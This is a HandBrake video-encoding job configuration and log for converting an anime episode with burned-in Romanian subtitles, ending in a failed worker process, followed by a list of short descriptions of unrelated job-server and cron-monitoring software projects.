"C:\\Users\\Andre\\Videos\\[Gm-Team][\u56FD\u6F2B][\u96EA\u9E70\u9886\u4E3B][Xue Ying Ling Zhu][01][\u950B\u8292\u521D\u9732][1080P] 1.mp4", "Mp4Options": { "IpodAtom": false, "Mp4Optimize": false }, "Mux": "av_mp4" }, "Filters": { "FilterList": [ { "ID": 4, "Settings": { "mode": "7" } }, { "ID": 3, "Settings": { "block-height": "16", "block-thresh": "80", "block-width": "16", "filter-mode": "1", "mode": "0", "motion-thresh": "2", "spatial-metric": "2", "spatial-thresh": "3" } }, { "ID": 13, "Settings": { "crop-bottom": "138", "crop-left": "0", "crop-right": "0", "crop-top": "138", "height": "804", "width": "1920" } }, { "ID": 6, "Settings": { "mode": "2", "rate": "27000000/900000" } } ] }, "PAR": { "Num": 1, "Den": 1 }, "Metadata": {}, "SequenceID": 0, "Source": { "Angle": 1, "Range": { "Type": "chapter", "Start": 1, "End": 1 }, "Title": 1, "Path": "D:\\[GM-Team][\u56FD\u6F2B][\u96EA\u9E70\u9886\u4E3B][Xue Ying Ling Zhu][01-26][1080P]\\[GM-Team][\u56FD\u6F2B][\u96EA\u9E70\u9886\u4E3B][Xue Ying Ling Zhu][01][\u950B\u8292\u521D\u9732][1080P].mp4" }, "Subtitle": { "Search": { "Burn": false, "Default": false, "Enable": true, "Forced": true }, "SubtitleList": [ { "Burn": true, "Default": false, "Forced": false, "ID": 0, "Offset": 0, "Track": -1, "Import": { "Codeset": "UTF-8", "Filename": "C:\\Users\\Andre\\Desktop\\[GM-Team][\u56FD\u6F2B][\u96EA\u9E70\u9886\u4E3B][Xue Ying Ling Zhu][01][\u950B\u8292\u521D\u9732][1080P].ass", "Language": "ron", "Format": "SSA" } } ] }, "Video": { "Encoder": "x264", "Level": "4.0", "TwoPass": false, "Turbo": false, "ColorMatrixCode": 0, "Options": "", "Preset": "veryfast", "Profile": "main", "Quality": 24, "QSV": { "Decode": false } } } [17:03:37] CPU: Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz [17:03:37] - Intel microarchitecture Skylake [17:03:37] - logical processor count: 8 [17:03:37] Intel Quick Sync Video support: no [17:03:37] hb_scan: path=D:\[GM-Team][??][????][Xue Ying Ling Zhu][01-26][1080P]\[GM-Team][??][????][Xue Ying Ling Zhu][01][????][1080P].mp4, title_index=1 udfread ERROR: ECMA 167 Volume Recognition failed src/libbluray/disc/disc.c:333: failed opening UDF image D:\[GM-Team][†>«‘¬®][‚>¦‚1ø‚›+„,¯][Xue Ying Ling Zhu][01-26][1080P]\[GM-Team][†>«‘¬®][‚>¦‚1ø‚›+„,¯][Xue Ying Ling Zhu][01][‚"<ŠS'†^?‚oý][1080P].mp4 src/libbluray/disc/disc.c:437: error opening file BDMV\index.bdmv src/libbluray/disc/disc.c:437: error opening file BDMV\BACKUP\index.bdmv src/libbluray/bluray.c:2646: nav_get_title_list(D:\[GM-Team][†>«‘¬®][‚>¦‚1ø‚›+„,¯][Xue Ying Ling Zhu][01-26][1080P]\[GM-Team][†>«‘¬®][‚>¦‚1ø‚›+„,¯][Xue Ying Ling Zhu][01][‚"<ŠS'†^?‚oý][1080P].mp4\) failed [17:03:37] bd: not a bd - trying as a stream/file instead libdvdread: Encrypted DVD support unavailable. libdvdread: Could not open input: libdvdread: Can't open D:\[GM-Team][??][????][Xue Ying Ling Zhu][01-26][1080P]\[GM-Team][??][????][Xue Ying Ling Zhu][01][????][1080P].mp4 for reading libdvdnav: vm: failed to open/read the DVD [17:03:37] dvd: not a dvd - trying as a stream/file instead Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'D:\[GM-Team][†>«‘¬®][‚>¦‚1ø‚›+„,¯][Xue Ying Ling Zhu][01-26][1080P]\[GM-Team][†>«‘¬®][‚>¦‚1ø‚›+„,¯][Xue Ying Ling Zhu][01][‚"<ŠS'†^?‚oý][1080P].mp4': Metadata: major_brand : isom minor_version : 512 compatible_brands: isomiso2avc1mp41 encoder : Lavf57.48.101 Duration: 00:20:26.86, start: 0.000000, bitrate: 1824 kb/s Stream #0:0(und): Video: h264 (High) (avc1 / 0x31637661), yuv420p(tv, bt709), 1920x1080, 1722 kb/s, 25 fps, 25 tbr, 90k tbn, 50 tbc (default) Metadata: handler_name : VideoHandler vendor_id : [0][0][0][0] Stream #0:1(und): Audio: aac (LC) (mp4a / 0x6134706D), 48000 Hz, stereo, fltp, 95 kb/s (default) Metadata: handler_name : SoundHandler vendor_id : [0][0][0][0] [17:03:37] scan: decoding previews for title 1 [17:03:37] scan: audio 0x1: aac, rate=48000Hz, bitrate=95672 Unknown (AAC LC) (2.0 ch) (95 kbps) [17:03:37] scan: 10 previews, 1920x1080, 25.000 fps, autocrop = 138/138/0/0, aspect 16:9, PAR 1:1, color profile: 1-1-1, chroma location: left [17:03:37] libhb: scan thread found 1 valid title(s) [17:03:37] Skipping subtitle scan. No suitable subtitle tracks. [17:03:37] Starting Task: Encoding Pass [17:03:37] [ass] libass API version: 0x1502000 [17:03:37] [ass] libass source: tarball: 0.15.2 [17:03:37] [ass] Shaper: FriBidi 1.0.11 (SIMPLE) HarfBuzz-ng 3.1.2 (COMPLEX) [17:03:37] [ass] Using font provider directwrite (with GDI) [17:03:37] work: track 1, dithering not supported by codec [17:03:37] work: only 1 chapter, disabling chapter markers [17:03:37] job configuration: [17:03:37] * source [17:03:37] + D:\[GM-Team][??][????][Xue Ying Ling Zhu][01-26][1080P]\[GM-Team][??][????][Xue Ying Ling Zhu][01][????][1080P].mp4 [17:03:37] + title 1, chapter(s) 1 to 1 [17:03:37] + container: mov,mp4,m4a,3gp,3g2,mj2 [17:03:37] + data rate: 1824 kbps [17:03:37] * destination [17:03:37] + C:\Users\Andre\Videos\[Gm-Team][??][????][Xue Ying Ling Zhu][01][????][1080P] 1.mp4 [17:03:37] + container: MPEG-4 (libavformat) [17:03:37] + align initial A/V stream timestamps [17:03:37] * video track [17:03:37] + decoder: h264 8-bit (yuv420p) [17:03:37] + bitrate 1722 kbps [17:03:37] + filters [17:03:37] + Comb Detect (mode=0:spatial-metric=2:motion-thresh=2:spatial-thresh=3:filter-mode=1:block-thresh=80:block-width=16:block-height=16) [17:03:37] + Decomb (mode=39) [17:03:37] + Framerate Shaper (mode=2:rate=27000000/900000) [17:03:37] + frame rate: 25.000 fps -> peak rate limited to 30.000 fps [17:03:37] + Subtitle renderer () [17:03:37] + Crop and Scale (width=1920:height=804:crop-top=138:crop-bottom=138:crop-left=0:crop-right=0) [17:03:37] + source: 1920 * 1080, crop (138/138/0/0): 1920 * 804, scale: 1920 * 804 [17:03:37] + Output geometry [17:03:37] + storage dimensions: 1920 x 804 [17:03:37] + pixel aspect ratio: 1 : 1 [17:03:37] + display dimensions: 1920 x 804 [17:03:37] + encoder: H.264 (libx264) [17:03:37] + preset: veryfast [17:03:37] + profile: main [17:03:37] + level: 4.0 [17:03:37] + quality: 24.00 (RF) [17:03:37] + color profile: 1-1-1 [17:03:37] + chroma location: left [17:03:37] * subtitle track 1, romŸna [SSA] (track 0, id 0xff000000, Text) -> Render/Burn-in, offset: 0 [17:03:37] * audio track 1 [17:03:37] + decoder: Unknown (AAC LC) (2.0 ch) (95 kbps) (track 1, id 0x1) [17:03:37] + bitrate: 95 kbps, samplerate: 48000 Hz [17:03:37] + mixdown: Stereo [17:03:37] + encoder: AAC (libavcodec) [17:03:37] + bitrate: 160 kbps, samplerate: 48000 Hz [17:03:37] sync: expecting 30671 video frames [17:03:37] encx264: encoding at constant RF 24.000000 [17:03:37] encx264: unparsed options: level=4.0:ref=1:8x8dct=0:weightp=1:subme=2:mixed-refs=0:trellis=0:vbv-bufsize=25000:vbv-maxrate=20000:rc-lookahead=10 x264 [info]: using SAR=1/1 x264 [info]: using cpu capabilities: MMX2 SSE2Fast SSSE3 SSE4.2 AVX FMA3 BMI2 AVX2 x264 [info]: profile Main, level 4.0, 4:2:0, 8-bit [17:03:37] sync: first pts video is 0 [17:03:37] sync: "Chapter 1" (1) at frame 1 time 0 [17:03:37] sync: first pts audio 0x1 is 0 [17:03:38] sync: first pts subtitle 0xff000000 is 270000 [17:03:38] [ass] fontselect: (Arial, 400, 0) -> ArialMT, 0, ArialMT [17:03:44] [ass] fontselect: (Bahnschrift, 700, 0) -> Bahnschrift-Bold, 0, Bahnschrift-Bold [17:04:01] [ass] fontselect: (Palatino Linotype, 700, 0) -> PalatinoLinotype-Bold, 0, PalatinoLinotype-Bold [17:04:19] [ass] fontselect: (RO Bienetresocial, 700, 0) -> ROBienetresocial, 0, ROBienetresocial [17:04:47] [ass] fontselect: (BRUSHSTRIKE, 400, 100) -> BRUSHSTRIKE, 0, BRUSHSTRIKE [17:04:49] Worker process exited! [17:04:49] Worker process exit was not expected. # Job Failed (-12)

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Language agnostic job server written in Rust. Run compute heavy tasks as Kubernetes jobs and get autoscaling for free

Rust Job Server 🚀 A lightweight, efficient job queue server built with Rust and SQLite. It allows clients to add, track, and update jobs via HTTP APIs, ensuring fast and reliable task management.

MCP server for Dead Man's Snitch monitoring service - Monitor scheduled tasks and cron jobs through AI assistants

This script facilitates the migration of Task Scheduler jobs from one server to another using the schtasks command-line tool.

An interactive civilian **repair job** for **FiveM QBCore servers**. Designed to bring immersive, skill-based mechanics to players through multi-step repair tasks.

Self-hosted cron job monitoring. Add a simple curl ping to your scheduled tasks and instantly see when they run—or don't. Clean dashboard, no account required, data stays on your server. Just docker run and you're ready. Never miss a failed cron job again.

A simple but production quality asynchronous TCP server template intended to be a building block in systems that need to share data in real time. This source code is in development and use at my day job to synchronize data and tasks across servers and there are plans to push it as far as it will go.

A collection of essential scripts designed to streamline and automate common hosting tasks. This toolkit includes scripts for website backups, SSL certificate monitoring, uptime checks, cron job management, and disk space alerts. Ideal for web administrators looking to enhance their server management with simple yet powerful automation tools.